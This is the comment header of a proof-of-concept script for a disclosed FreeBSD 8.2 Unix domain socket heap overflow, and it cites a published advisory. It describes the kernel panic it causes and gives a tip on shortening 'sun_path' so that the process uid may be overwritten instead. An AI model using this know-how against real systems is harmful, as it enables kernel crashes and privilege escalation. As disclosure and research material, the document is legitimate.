#
# proof-of-concept crash for the freebsd unix domain sockets heap
# overflow.  this was tested on freebsd 8.2-RELEASE.  just a PoC for now.
#
# see advisory & patches for details:
# http://www.securityfocus.com/archive/1/519864/30/0/threaded
#
# this PoC will usually result in a kernel panic with a read access
# violation at 0x616161XX but sometimes the kernel will not crash straight
# away (particularly if you shorten the length of 'sun_path' -- try 140 bytes),
# and your uid (see output of `id`) may have been modified to the
# decimal equivalent of 0x61616161 during the heap smash
